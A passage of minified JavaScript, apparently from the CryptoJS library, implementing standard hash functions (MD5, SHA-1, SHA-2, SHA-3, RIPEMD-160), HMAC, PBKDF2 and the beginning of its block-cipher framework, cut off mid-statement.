e(C, D, z, A, d, 17, f[2]), A = e(A, C, D, z, v, 22, f[3]), z = e(z, A, C, D, p, 7, f[4]), D = e(D, z, A, C, _, 12, f[5]), C = e(C, D, z, A, y, 17, f[6]), A = e(A, C, D, z, g, 22, f[7]), z = e(z, A, C, D, B, 7, f[8]), D = e(D, z, A, C, w, 12, f[9]), C = e(C, D, z, A, k, 17, f[10]), A = e(A, C, D, z, S, 22, f[11]), z = e(z, A, C, D, m, 7, f[12]), D = e(D, z, A, C, x, 12, f[13]), C = e(C, D, z, A, b, 17, f[14]), A = e(A, C, D, z, H, 22, f[15]), z = i(z, A, C, D, u, 5, f[16]), D = i(D, z, A, C, y, 9, f[17]), C = i(C, D, z, A, S, 14, f[18]), A = i(A, C, D, z, l, 20, f[19]), z = i(z, A, C, D, _, 5, f[20]), D = i(D, z, A, C, k, 9, f[21]), C = i(C, D, z, A, H, 14, f[22]), A = i(A, C, D, z, p, 20, f[23]), z = i(z, A, C, D, w, 5, f[24]), D = i(D, z, A, C, b, 9, f[25]), C = i(C, D, z, A, v, 14, f[26]), A = i(A, C, D, z, B, 20, f[27]), z = i(z, A, C, D, x, 5, f[28]), D = i(D, z, A, C, d, 9, f[29]), C = i(C, D, z, A, g, 14, f[30]), A = i(A, C, D, z, m, 20, f[31]), z = n(z, A, C, D, _, 4, f[32]), D = n(D, z, A, C, B, 11, f[33]), C = n(C, D, z, A, S, 16, f[34]), A = n(A, C, D, z, b, 23, f[35]), z = n(z, A, C, D, u, 4, f[36]), D = n(D, z, A, C, p, 11, f[37]), C = n(C, D, z, A, g, 16, f[38]), A = n(A, C, D, z, k, 23, f[39]), z = n(z, A, C, D, x, 4, f[40]), D = n(D, z, A, C, l, 11, f[41]), C = n(C, D, z, A, v, 16, f[42]), A = n(A, C, D, z, y, 23, f[43]), z = n(z, A, C, D, w, 4, f[44]), D = n(D, z, A, C, m, 11, f[45]), C = n(C, D, z, A, H, 16, f[46]), A = n(A, C, D, z, d, 23, f[47]), z = o(z, A, C, D, l, 6, f[48]), D = o(D, z, A, C, g, 10, f[49]), C = o(C, D, z, A, b, 15, f[50]), A = o(A, C, D, z, _, 21, f[51]), z = o(z, A, C, D, m, 6, f[52]), D = o(D, z, A, C, v, 10, f[53]), C = o(C, D, z, A, k, 15, f[54]), A = o(A, C, D, z, u, 21, f[55]), z = o(z, A, C, D, B, 6, f[56]), D = o(D, z, A, C, H, 10, f[57]), C = o(C, D, z, A, y, 15, f[58]), A = o(A, C, D, z, x, 21, f[59]), z = o(z, A, C, D, p, 6, f[60]), D = o(D, z, A, C, S, 10, f[61]), C = o(C, D, z, A, d, 15, f[62]), A = o(A, C, D, z, w, 21, f[63]), h[0] = h[0] + z | 0, h[1] = h[1] + A | 0, h[2] = h[2] + C | 0, h[3] = h[3] + D | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; e[n >>> 5] |= 128 << 24 - n % 32; var o = r.floor(i / 4294967296), s = i; e[(n + 64 >>> 9 << 4) + 15] = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), e[(n + 64 >>> 9 << 4) + 14] = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8), t.sigBytes = 4 * (e.length + 1), this._process(); for (var a = this._hash, c = a.words, h = 0; h < 4; h++) { var l = c[h]; c[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } return a }, clone: function () { var t = h.clone.call(this); return t._hash = this._hash.clone(), t } }); s.MD5 = h._createHelper(u), s.HmacMD5 = h._createHmacHelper(u) }(Math), function () { var r = t, e = r.lib, i = e.WordArray, n = e.Hasher, o = r.algo, s = [], a = o.SHA1 = n.extend({ _doReset: function () { this._hash = new i.init([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], a = e[3], c = e[4], h = 0; h < 80; h++) { if (h < 16) s[h] = 0 | t[r + h]; else { var l = s[h - 3] ^ s[h - 8] ^ s[h - 14] ^ s[h - 16]; s[h] = l << 1 | l >>> 31 } var f = (i << 5 | i >>> 27) + c + s[h]; f += h < 20 ? (n & o | ~n & a) + 1518500249 : h < 40 ? (n ^ o ^ a) + 1859775393 : h < 60 ? (n & o | n & a | o & a) - 1894007588 : (n ^ o ^ a) - 899497514, c = a, a = o, o = n << 30 | n >>> 2, n = i, i = f } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + a | 0, e[4] = e[4] + c | 0 }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; return r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = Math.floor(e / 4294967296), r[(i + 64 >>> 9 << 4) + 15] = e, t.sigBytes = 4 * r.length, this._process(), this._hash }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t } }); r.SHA1 = n._createHelper(a), r.HmacSHA1 = n._createHmacHelper(a) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.algo, a = [], c = []; !function () { function t(t) { for (var e = r.sqrt(t), i = 2; i <= e; i++)if (!(t % i)) return !1; return !0 } function e(t) { return 4294967296 * (t - (0 | t)) | 0 } for (var i = 2, n = 0; n < 64;)t(i) && (n < 8 && (a[n] = e(r.pow(i, .5))), c[n] = e(r.pow(i, 1 / 3)), n++), i++ }(); var h = [], l = s.SHA256 = o.extend({ _doReset: function () { this._hash = new n.init(a.slice(0)) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], l = e[5], f = e[6], u = e[7], d = 0; d < 64; d++) { if (d < 16) h[d] = 0 | t[r + d]; else { var v = h[d - 15], p = (v << 25 | v >>> 7) ^ (v << 14 | v >>> 18) ^ v >>> 3, _ = h[d - 2], y = (_ << 15 | _ >>> 17) ^ (_ << 13 | _ >>> 19) ^ _ >>> 10; h[d] = p + h[d - 7] + y + h[d - 16] } var g = a & l ^ ~a & f, B = i & n ^ i & o ^ n & o, w = (i << 30 | i >>> 2) ^ (i << 19 | i >>> 13) ^ (i << 10 | i >>> 22), k = (a << 26 | a >>> 6) ^ (a << 21 | a >>> 11) ^ (a << 7 | a >>> 25), S = u + k + g + c[d] + h[d], m = w + B; u = f, f = l, l = a, a = s + S | 0, s = o, o = n, n = i, i = S + m | 0 } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + s | 0, e[4] = e[4] + a | 0, e[5] = e[5] + l | 0, e[6] = e[6] + f | 0, e[7] = e[7] + u | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; return e[n >>> 5] |= 128 << 24 - n % 32, e[(n + 64 >>> 9 << 4) + 14] = r.floor(i / 4294967296), e[(n + 64 >>> 9 << 4) + 15] = i, t.sigBytes = 4 * e.length, this._process(), this._hash }, clone: function () { var t = o.clone.call(this); return t._hash = this._hash.clone(), t } }); e.SHA256 = o._createHelper(l), e.HmacSHA256 = o._createHmacHelper(l) }(Math), function () { function r(t) { return t << 8 & 4278255360 | t >>> 8 & 16711935 } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Utf16 = o.Utf16BE = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n += 2) { var o = r[n >>> 2] >>> 16 - n % 4 * 8 & 65535; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 1] |= t.charCodeAt(i) << 16 - i % 2 * 16; return n.create(e, 2 * r) } }; o.Utf16LE = { stringify: function (t) { for (var e = t.words, i = t.sigBytes, n = [], o = 0; o < i; o += 2) { var s = r(e[o >>> 2] >>> 16 - o % 4 * 8 & 65535); n.push(String.fromCharCode(s)) } return n.join("") }, parse: function (t) { for (var e = t.length, i = [], o = 0; o < e; o++)i[o >>> 1] |= r(t.charCodeAt(o) << 16 - o % 2 * 16); return n.create(i, 2 * e) } } }(), function () { if ("function" == typeof ArrayBuffer) { var r = t, e = r.lib, i = e.WordArray, n = i.init, o = i.init = function (t) { if (t instanceof ArrayBuffer && (t = new Uint8Array(t)), (t instanceof Int8Array || "undefined" != typeof Uint8ClampedArray && t instanceof Uint8ClampedArray || t instanceof Int16Array || t instanceof Uint16Array || t instanceof Int32Array || t instanceof Uint32Array || t instanceof Float32Array || t instanceof Float64Array) && (t = new Uint8Array(t.buffer, t.byteOffset, t.byteLength)), t instanceof Uint8Array) { for (var r = t.byteLength, e = [], i = 0; i < r; i++)e[i >>> 2] |= t[i] << 24 - i % 4 * 8; n.call(this, e, r) } else n.apply(this, arguments) }; o.prototype = i } }(), function (r) { function e(t, r, e) { return t ^ r ^ e } function i(t, r, e) { return t & r | ~t & e } function n(t, r, e) { return (t | ~r) ^ e } function o(t, r, e) { return t & e | r & ~e } function s(t, r, e) { return t ^ (r | ~e) } function a(t, r) { return t << r | t >>> 32 - r } var c = t, h = c.lib, l = h.WordArray, f = h.Hasher, u = c.algo, d = l.create([0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 7, 4, 13, 1, 10, 6, 15, 3, 12, 0, 9, 5, 2, 14, 11, 8, 3, 10, 14, 4, 9, 15, 8, 1, 2, 7, 0, 6, 13, 11, 5, 12, 1, 9, 11, 10, 0, 8, 12, 4, 13, 3, 7, 15, 14, 5, 6, 2, 4, 0, 5, 9, 7, 12, 2, 10, 14, 1, 3, 8, 11, 6, 15, 13]), v = l.create([5, 14, 7, 0, 9, 2, 11, 4, 13, 6, 15, 8, 1, 10, 3, 12, 6, 11, 3, 7, 0, 13, 5, 10, 14, 15, 8, 12, 4, 9, 1, 2, 15, 5, 1, 3, 7, 14, 6, 9, 11, 8, 12, 2, 10, 0, 4, 13, 8, 6, 4, 1, 3, 11, 15, 0, 5, 12, 2, 13, 9, 7, 10, 14, 12, 15, 10, 4, 1, 5, 8, 7, 6, 2, 13, 14, 0, 3, 9, 11]), p = l.create([11, 14, 15, 12, 5, 8, 7, 9, 11, 13, 14, 15, 6, 7, 9, 8, 7, 6, 8, 13, 11, 9, 7, 15, 7, 12, 15, 9, 11, 7, 13, 12, 11, 13, 6, 7, 14, 9, 13, 15, 14, 8, 13, 6, 5, 12, 7, 5, 11, 12, 14, 15, 14, 15, 9, 8, 9, 14, 5, 6, 8, 6, 5, 12, 9, 15, 5, 11, 6, 8, 13, 12, 5, 12, 13, 14, 11, 8, 5, 6]), _ = l.create([8, 9, 9, 11, 13, 15, 15, 5, 7, 7, 8, 11, 14, 14, 12, 6, 9, 13, 15, 7, 12, 8, 9, 11, 7, 7, 12, 7, 6, 15, 13, 11, 9, 7, 15, 11, 8, 6, 6, 14, 12, 13, 5, 14, 13, 13, 7, 5, 15, 5, 8, 11, 14, 14, 6, 14, 6, 9, 12, 9, 12, 5, 15, 8, 8, 5, 12, 9, 12, 5, 14, 6, 8, 13, 6, 5, 15, 13, 11, 11]), y = l.create([0, 1518500249, 1859775393, 2400959708, 2840853838]), g = l.create([1352829926, 1548603684, 1836072691, 2053994217, 0]), B = u.RIPEMD160 = f.extend({ _doReset: function () { this._hash = l.create([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var c = 0; c < 16; c++) { var h = r + c, l = t[h]; t[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } var f, u, B, w, k, S, m, x, b, H, z = this._hash.words, A = y.words, C = g.words, D = d.words, R = v.words, E = p.words, M = _.words; S = f = z[0], m = u = z[1], x = B = z[2], b = w = z[3], H = k = z[4]; for (var F, c = 0; c < 80; c += 1)F = f + t[r + D[c]] | 0, F += c < 16 ? e(u, B, w) + A[0] : c < 32 ? i(u, B, w) + A[1] : c < 48 ? n(u, B, w) + A[2] : c < 64 ? o(u, B, w) + A[3] : s(u, B, w) + A[4], F |= 0, F = a(F, E[c]), F = F + k | 0, f = k, k = w, w = a(B, 10), B = u, u = F, F = S + t[r + R[c]] | 0, F += c < 16 ? s(m, x, b) + C[0] : c < 32 ? o(m, x, b) + C[1] : c < 48 ? n(m, x, b) + C[2] : c < 64 ? i(m, x, b) + C[3] : e(m, x, b) + C[4], F |= 0, F = a(F, M[c]), F = F + H | 0, S = H, H = b, b = a(x, 10), x = m, m = F; F = z[1] + B + b | 0, z[1] = z[2] + w + H | 0, z[2] = z[3] + k + S | 0, z[3] = z[4] + f + m | 0, z[4] = z[0] + u + x | 0, z[0] = F }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = 16711935 & (e << 8 | e >>> 24) | 4278255360 & (e << 24 | e >>> 8), t.sigBytes = 4 * (r.length + 1), this._process(); for (var n = this._hash, o = n.words, s = 0; s < 5; s++) { var a = o[s]; o[s] = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8) } return n }, clone: function () { var t = f.clone.call(this); return t._hash = this._hash.clone(), t } }); c.RIPEMD160 = f._createHelper(B), c.HmacRIPEMD160 = f._createHmacHelper(B) }(Math), function () { var r = t, e = r.lib, i = e.Base, n = r.enc, o = n.Utf8, s = r.algo; s.HMAC = i.extend({ init: function (t, r) { t = this._hasher = new t.init, "string" == typeof r && (r = o.parse(r)); var e = t.blockSize, i = 4 * e; r.sigBytes > i && (r = t.finalize(r)), r.clamp(); for (var n = this._oKey = r.clone(), s = this._iKey = r.clone(), a = n.words, c = s.words, h = 0; h < e; h++)a[h] ^= 1549556828, c[h] ^= 909522486; n.sigBytes = s.sigBytes = i, this.reset() }, reset: function () { var t = this._hasher; t.reset(), t.update(this._iKey) }, update: function (t) { return this._hasher.update(t), this }, finalize: function (t) { var r = this._hasher, e = r.finalize(t); r.reset(); var i = r.finalize(this._oKey.clone().concat(e)); return i } }) }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.SHA1, a = o.HMAC, c = o.PBKDF2 = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = a.create(e.hasher, t), o = n.create(), s = n.create([1]), c = o.words, h = s.words, l = e.keySize, f = e.iterations; c.length < l;) { var u = i.update(r).finalize(s); i.reset(); for (var d = u.words, v = d.length, p = u, _ = 1; _ < f; _++) { p = i.finalize(p), i.reset(); for (var y = p.words, g = 0; g < v; g++)d[g] ^= y[g] } o.concat(u), h[0]++ } return o.sigBytes = 4 * l, o } }); r.PBKDF2 = function (t, r, e) { return c.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.MD5, a = o.EvpKDF = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = e.hasher.create(), o = n.create(), s = o.words, a = e.keySize, c = e.iterations; s.length < a;) { h && i.update(h); var h = i.update(t).finalize(r); i.reset(); for (var l = 1; l < c; l++)h = i.finalize(h), i.reset(); o.concat(h) } return o.sigBytes = 4 * a, o } }); r.EvpKDF = function (t, r, e) { return a.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.WordArray, n = r.algo, o = n.SHA256, s = n.SHA224 = o.extend({ _doReset: function () { this._hash = new i.init([3238371032, 914150663, 812702999, 4144912697, 4290775857, 1750603025, 1694076839, 3204075428]) }, _doFinalize: function () { var t = o._doFinalize.call(this); return t.sigBytes -= 4, t } }); r.SHA224 = o._createHelper(s), r.HmacSHA224 = o._createHmacHelper(s) }(), function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = e.x64 = {}; s.Word = n.extend({ init: function (t, r) { this.high = t, this.low = r } }), s.WordArray = n.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 8 * t.length }, toX32: function () { for (var t = this.words, r = t.length, e = [], i = 0; i < r; i++) { var n = t[i]; e.push(n.high), e.push(n.low) } return o.create(e, this.sigBytes) }, clone: function () { for (var t = n.clone.call(this), r = t.words = this.words.slice(0), e = r.length, i = 0; i < e; i++)r[i] = r[i].clone(); return t } }) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.x64, a = s.Word, c = e.algo, h = [], l = [], f = []; !function () { for (var t = 1, r = 0, e = 0; e < 24; e++) { h[t + 5 * r] = (e + 1) * (e + 2) / 2 % 64; var i = r % 5, n = (2 * t + 3 * r) % 5; t = i, r = n } for (var t = 0; t < 5; t++)for (var r = 0; r < 5; r++)l[t + 5 * r] = r + (2 * t + 3 * r) % 5 * 5; for (var o = 1, s = 0; s < 24; s++) { for (var c = 0, u = 0, d = 0; d < 7; d++) { if (1 & o) { var v = (1 << d) - 1; v < 32 ? u ^= 1 << v : c ^= 1 << v - 32 } 128 & o ? o = o << 1 ^ 113 : o <<= 1 } f[s] = a.create(c, u) } }(); var u = []; !function () { for (var t = 0; t < 25; t++)u[t] = a.create() }(); var d = c.SHA3 = o.extend({ cfg: o.cfg.extend({ outputLength: 512 }), _doReset: function () { for (var t = this._state = [], r = 0; r < 25; r++)t[r] = new a.init; this.blockSize = (1600 - 2 * this.cfg.outputLength) / 32 }, _doProcessBlock: function (t, r) { for (var e = this._state, i = this.blockSize / 2, n = 0; n < i; n++) { var o = t[r + 2 * n], s = t[r + 2 * n + 1]; o = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), s = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8); var a = e[n]; a.high ^= s, a.low ^= o } for (var c = 0; c < 24; c++) { for (var d = 0; d < 5; d++) { for (var v = 0, p = 0, _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; v ^= a.high, p ^= a.low } var y = u[d]; y.high = v, y.low = p } for (var d = 0; d < 5; d++)for (var g = u[(d + 4) % 5], B = u[(d + 1) % 5], w = B.high, k = B.low, v = g.high ^ (w << 1 | k >>> 31), p = g.low ^ (k << 1 | w >>> 31), _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; a.high ^= v, a.low ^= p } for (var S = 1; S < 25; S++) { var a = e[S], m = a.high, x = a.low, b = h[S]; if (b < 32) var v = m << b | x >>> 32 - b, p = x << b | m >>> 32 - b; else var v = x << b - 32 | m >>> 64 - b, p = m << b - 32 | x >>> 64 - b; var H = u[l[S]]; H.high = v, H.low = p } var z = u[0], A = e[0]; z.high = A.high, z.low = A.low; for (var d = 0; d < 5; d++)for (var _ = 0; _ < 5; _++) { var S = d + 5 * _, a = e[S], C = u[S], D = u[(d + 1) % 5 + 5 * _], R = u[(d + 2) % 5 + 5 * _]; a.high = C.high ^ ~D.high & R.high, a.low = C.low ^ ~D.low & R.low } var a = e[0], E = f[c]; a.high ^= E.high, a.low ^= E.low } }, _doFinalize: function () { var t = this._data, e = t.words, i = (8 * this._nDataBytes, 8 * t.sigBytes), o = 32 * this.blockSize; e[i >>> 5] |= 1 << 24 - i % 32, e[(r.ceil((i + 1) / o) * o >>> 5) - 1] |= 128, t.sigBytes = 4 * e.length, this._process(); for (var s = this._state, a = this.cfg.outputLength / 8, c = a / 8, h = [], l = 0; l < c; l++) { var f = s[l], u = f.high, d = f.low; u = 16711935 & (u << 8 | u >>> 24) | 4278255360 & (u << 24 | u >>> 8), d = 16711935 & (d << 8 | d >>> 24) | 4278255360 & (d << 24 | d >>> 8), h.push(d), h.push(u) } return new n.init(h, a) }, clone: function () { for (var t = o.clone.call(this), r = t._state = this._state.slice(0), e = 0; e < 25; e++)r[e] = r[e].clone(); return t } }); e.SHA3 = o._createHelper(d), e.HmacSHA3 = o._createHmacHelper(d) }(Math), function () { function r() { return s.create.apply(s, arguments) } var e = t, i = e.lib, n = i.Hasher, o = e.x64, s = o.Word, a = o.WordArray, c = e.algo, h = [r(1116352408, 3609767458), r(1899447441, 602891725), r(3049323471, 3964484399), r(3921009573, 2173295548), r(961987163, 4081628472), r(1508970993, 3053834265), r(2453635748, 2937671579), r(2870763221, 3664609560), r(3624381080, 2734883394), r(310598401, 1164996542), r(607225278, 1323610764), r(1426881987, 3590304994), r(1925078388, 4068182383), r(2162078206, 991336113), r(2614888103, 633803317), r(3248222580, 3479774868), r(3835390401, 2666613458), r(4022224774, 944711139), r(264347078, 2341262773), r(604807628, 2007800933), r(770255983, 1495990901), r(1249150122, 1856431235), r(1555081692, 3175218132), r(1996064986, 2198950837), r(2554220882, 3999719339), r(2821834349, 766784016), r(2952996808, 2566594879), r(3210313671, 3203337956), r(3336571891, 1034457026), r(3584528711, 2466948901), r(113926993, 3758326383), r(338241895, 168717936), r(666307205, 1188179964), r(773529912, 1546045734), r(1294757372, 1522805485), r(1396182291, 2643833823), r(1695183700, 2343527390), r(1986661051, 1014477480), r(2177026350, 1206759142), r(2456956037, 344077627), r(2730485921, 1290863460), r(2820302411, 3158454273), r(3259730800, 3505952657), r(3345764771, 106217008), r(3516065817, 3606008344), r(3600352804, 1432725776), r(4094571909, 1467031594), r(275423344, 851169720), r(430227734, 3100823752), r(506948616, 1363258195), r(659060556, 3750685593), r(883997877, 3785050280), r(958139571, 3318307427), r(1322822218, 3812723403), r(1537002063, 2003034995), r(1747873779, 3602036899), r(1955562222, 1575990012), r(2024104815, 1125592928), r(2227730452, 2716904306), r(2361852424, 442776044), r(2428436474, 593698344), r(2756734187, 3733110249), r(3204031479, 2999351573), r(3329325298, 3815920427), r(3391569614, 3928383900), r(3515267271, 566280711), r(3940187606, 3454069534), r(4118630271, 4000239992), r(116418474, 1914138554), r(174292421, 2731055270), r(289380356, 3203993006), r(460393269, 320620315), r(685471733, 587496836), r(852142971, 1086792851), r(1017036298, 365543100), r(1126000580, 2618297676), r(1288033470, 3409855158), r(1501505948, 4234509866), r(1607167915, 987167468), r(1816402316, 1246189591)], l = []; !function () { for (var t = 0; t < 80; t++)l[t] = r() }(); var f = c.SHA512 = n.extend({ _doReset: function () { this._hash = new a.init([new s.init(1779033703, 4089235720), new s.init(3144134277, 2227873595), new s.init(1013904242, 4271175723), new s.init(2773480762, 1595750129), new s.init(1359893119, 2917565137), new s.init(2600822924, 725511199), new s.init(528734635, 4215389547), new s.init(1541459225, 327033209)]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], c = e[5], f = e[6], u = e[7], d = i.high, v = i.low, p = n.high, _ = n.low, y = o.high, g = o.low, B = s.high, w = s.low, k = a.high, S = a.low, m = c.high, x = c.low, b = f.high, H = f.low, z = u.high, A = u.low, C = d, D = v, R = p, E = _, M = y, F = g, P = B, W = w, O = k, U = S, I = m, K = x, X = b, L = H, j = z, N = A, T = 0; T < 80; T++) { var Z = l[T]; if (T < 16) var q = Z.high = 0 | t[r + 2 * T], G = Z.low = 0 | t[r + 2 * T + 1]; else { var J = l[T - 15], $ = J.high, Q = J.low, V = ($ >>> 1 | Q << 31) ^ ($ >>> 8 | Q << 24) ^ $ >>> 7, Y = (Q >>> 1 | $ << 31) ^ (Q >>> 8 | $ << 24) ^ (Q >>> 7 | $ << 25), tt = l[T - 2], rt = tt.high, et = tt.low, it = (rt >>> 19 | et << 13) ^ (rt << 3 | et >>> 29) ^ rt >>> 6, nt = (et >>> 19 | rt << 13) ^ (et << 3 | rt >>> 29) ^ (et >>> 6 | rt << 26), ot = l[T - 7], st = ot.high, at = ot.low, ct = l[T - 16], ht = ct.high, lt = ct.low, G = Y + at, q = V + st + (G >>> 0 < Y >>> 0 ? 1 : 0), G = G + nt, q = q + it + (G >>> 0 < nt >>> 0 ? 1 : 0), G = G + lt, q = q + ht + (G >>> 0 < lt >>> 0 ? 1 : 0); Z.high = q, Z.low = G } var ft = O & I ^ ~O & X, ut = U & K ^ ~U & L, dt = C & R ^ C & M ^ R & M, vt = D & E ^ D & F ^ E & F, pt = (C >>> 28 | D << 4) ^ (C << 30 | D >>> 2) ^ (C << 25 | D >>> 7), _t = (D >>> 28 | C << 4) ^ (D << 30 | C >>> 2) ^ (D << 25 | C >>> 7), yt = (O >>> 14 | U << 18) ^ (O >>> 18 | U << 14) ^ (O << 23 | U >>> 9), gt = (U >>> 14 | O << 18) ^ (U >>> 18 | O << 14) ^ (U << 23 | O >>> 9), Bt = h[T], wt = Bt.high, kt = Bt.low, St = N + gt, mt = j + yt + (St >>> 0 < N >>> 0 ? 1 : 0), St = St + ut, mt = mt + ft + (St >>> 0 < ut >>> 0 ? 1 : 0), St = St + kt, mt = mt + wt + (St >>> 0 < kt >>> 0 ? 1 : 0), St = St + G, mt = mt + q + (St >>> 0 < G >>> 0 ? 1 : 0), xt = _t + vt, bt = pt + dt + (xt >>> 0 < _t >>> 0 ? 1 : 0); j = X, N = L, X = I, L = K, I = O, K = U, U = W + St | 0, O = P + mt + (U >>> 0 < W >>> 0 ? 1 : 0) | 0, P = M, W = F, M = R, F = E, R = C, E = D, D = St + xt | 0, C = mt + bt + (D >>> 0 < St >>> 0 ? 1 : 0) | 0 } v = i.low = v + D, i.high = d + C + (v >>> 0 < D >>> 0 ? 1 : 0), _ = n.low = _ + E, n.high = p + R + (_ >>> 0 < E >>> 0 ? 1 : 0), g = o.low = g + F, o.high = y + M + (g >>> 0 < F >>> 0 ? 1 : 0), w = s.low = w + W, s.high = B + P + (w >>> 0 < W >>> 0 ? 1 : 0), S = a.low = S + U, a.high = k + O + (S >>> 0 < U >>> 0 ? 1 : 0), x = c.low = x + K, c.high = m + I + (x >>> 0 < K >>> 0 ? 1 : 0), H = f.low = H + L, f.high = b + X + (H >>> 0 < L >>> 0 ? 1 : 0), A = u.low = A + N, u.high = z + j + (A >>> 0 < N >>> 0 ? 1 : 0) }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 128 >>> 10 << 5) + 30] = Math.floor(e / 4294967296), r[(i + 128 >>> 10 << 5) + 31] = e, t.sigBytes = 4 * r.length, this._process(); var n = this._hash.toX32(); return n }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t }, blockSize: 32 }); e.SHA512 = n._createHelper(f), e.HmacSHA512 = n._createHmacHelper(f) }(), function () { var r = t, e = r.x64, i = e.Word, n = e.WordArray, o = r.algo, s = o.SHA512, a = o.SHA384 = s.extend({ _doReset: function () { this._hash = new n.init([new i.init(3418070365, 3238371032), new i.init(1654270250, 914150663), new i.init(2438529370, 812702999), new i.init(355462360, 4144912697), new i.init(1731405415, 4290775857), new i.init(2394180231, 1750603025), new i.init(3675008525, 1694076839), new i.init(1203062813, 3204075428)]) }, _doFinalize: function () { var t = s._doFinalize.call(this); return t.sigBytes -= 16, t } }); r.SHA384 = s._createHelper(a), r.HmacSHA384 = s._createHmacHelper(a) }(), t.lib.Cipher || function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = i.BufferedBlockAlgorithm, a = e.enc, c = (a.Utf8, a.Base64), h = e.algo, l = h.EvpKDF, f = i.Cipher = s.extend({ cfg: n.extend(), createEncryptor: function (t, r) { return this.create(this._ENC_XFORM_MODE, t, r) }, createDecryptor: function (t, r) { return this.create(this._DEC_XFORM_MODE, t, r) }, init: function (t, r, e) { this.cfg = this.cfg.extend(e), this._xformMode = t, this._key = r, this.reset() }, reset: function () { s.reset.call(this), this._doReset() }, process: function (t) { return this._append(t), this._process() }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, keySize: 4, ivSize: 4, _ENC_XFORM_MODE: 1, _DEC_XFORM_MODE: 2, _createHelper: function () { function t(t) { return "string" == typeof t ? m : w } return function (r) { return { encrypt: function (e, i, n) { return t(i).encrypt(r, e, i, n) }, decrypt: function (e, i, n) { return t(i).decrypt(r, e, i, n) } } } }() }), u = (i.StreamCipher = f.extend({ _doFinalize: function () { var t = this._process(!0); return t }, blockSize: 1 }), e.mode = {}), d = i.BlockCipherMode = n.extend({ createEncryptor: function (t, r) { return this.Encryptor.create(t, r) }, createDecryptor: function (t, r) { return this.Decryptor.create(t, r) }, init: function (t, r) { this._cipher = t, this._iv = r } }), v = u.CBC = function () { function t(t, e, i) { var n = this._iv; if (n) { var o = n; this._iv = r } else var o = this._prevBlock; for (var s = 0; s < i; s++)t[e + s] ^= o[s] } var e = d.extend(); return e.Encryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize; t.call(this, r, e, n), i.encryptBlock(r, e), this._prevBlock = r.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize, o = r.slice(e, e + n); i.decryptBlock(r, e), t.call(this, r, e, n), this._prevBlock = o } }), e }(), p = e.pad = {}, _ = p.Pkcs7 = { pad: function (t, r) { for (var e = 4 * r, i = e - t.sigBytes % e, n = i << 24 | i << 16 | i << 8 | i, s = [], a = 0; a < i; a += 4)s.push(n); var c = o.create(s, i); t.concat(c) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, y = (i.BlockCipher = f.extend({ cfg: f.cfg.extend({ mode: v, padding: _ }), reset: function () { f.reset.call(this); var t = this.cfg, r = t.iv, e = t.mode; if (this._xformMode == this._ENC_XFORM_MODE) var i = e.createEncryptor; else { var i = e.createDecryptor; this._minBufferSize = 1 } this._mode && this._mode.__creator 